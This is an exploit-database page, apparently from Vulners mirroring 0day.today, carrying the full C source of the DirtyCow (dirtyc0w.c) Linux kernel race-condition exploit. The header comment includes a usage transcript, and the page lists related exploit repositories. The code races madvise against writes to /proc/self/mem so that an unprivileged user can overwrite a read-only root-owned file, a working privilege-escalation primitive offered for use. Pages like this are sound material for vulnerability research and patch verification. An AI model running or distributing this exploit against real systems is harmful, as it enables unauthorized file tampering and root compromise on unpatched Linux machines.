Lucene search
+L

DirtyCow Linux Kernel Race Condition Exploit

🗓️ 22 Oct 2016 00:00:00Reported by dirtycowType 
zdt
 zdt
🔗 0day.today👁 215 Views

DirtyCow Linux Kernel Race Condition Exploi

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
linux-privesc-linpeas
12 Jun 202603:52
githubexploit
githubexploit
GithubExploit
Exploit for Incorrect Resource Transfer Between Spheres in Linux Linux_Kernel
5 May 202611:26
githubexploit
githubexploit
GithubExploit
Exploit for Improper Initialization in Linux Linux_Kernel
4 Jun 202413:25
githubexploit
githubexploit
GithubExploit
Exploit for Race Condition in Canonical Ubuntu_Linux
17 Nov 201602:20
githubexploit
githubexploit
GithubExploit
Kioptrix-Level-3
4 Aug 202608:06
githubexploit
githubexploit
GithubExploit
Exploit for Race Condition in Canonical Ubuntu_Linux
16 Mar 202609:19
githubexploit
githubexploit
GithubExploit
Dirty-cow-exploit
5 Jun 202618:34
githubexploit
githubexploit
GithubExploit
multi-layered-security-assessment
2 Jun 202608:36
githubexploit
githubexploit
GithubExploit
Exploit for Improper Initialization in Linux Linux_Kernel
7 Mar 202218:36
githubexploit
githubexploit
GithubExploit
Exploit for Improper Initialization in Linux Linux_Kernel
9 Mar 202202:47
githubexploit
Rows per page
/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -lpthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
 
void *map;
int f;
struct stat st;
char *name;
 
void *madviseThread(void *arg)
{
  char *str;
  str=(char*)arg;
  int i,c=0;
  for(i=0;i<100000000;i++)
  {
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
    c+=madvise(map,100,MADV_DONTNEED);
  }
  printf("madvise %d\n\n",c);
}
 
void *procselfmemThread(void *arg)
{
  char *str;
  str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
>  The in the wild exploit we are aware of doesn't work on Red Hat
>  Enterprise Linux 5 and 6 out of the box because on one side of
>  the race it writes to /proc/self/mem, but /proc/self/mem is not
>  writable on Red Hat Enterprise Linux 5 and 6.
*/
  int f=open("/proc/self/mem",O_RDWR);
  int i,c=0;
  for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
    lseek(f,map,SEEK_SET);
    c+=write(f,str,strlen(str));
  }
  printf("procselfmem %d\n\n", c);
}
 
 
int main(int argc,char *argv[])
{
/*
You have to pass two arguments. File and Contents.
*/
  if (argc<3)return 1;
  pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
  f=open(argv[1],O_RDONLY);
  fstat(f,&st);
  name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping.  Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file.  It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  printf("mmap %x\n\n",map);
/*
You have to do it on two threads.
*/
  pthread_create(&pth1,NULL,madviseThread,argv[1]);
  pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
  pthread_join(pth1,NULL);
  pthread_join(pth2,NULL);
  return 0;
}


#  0day.today [2018-01-09]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation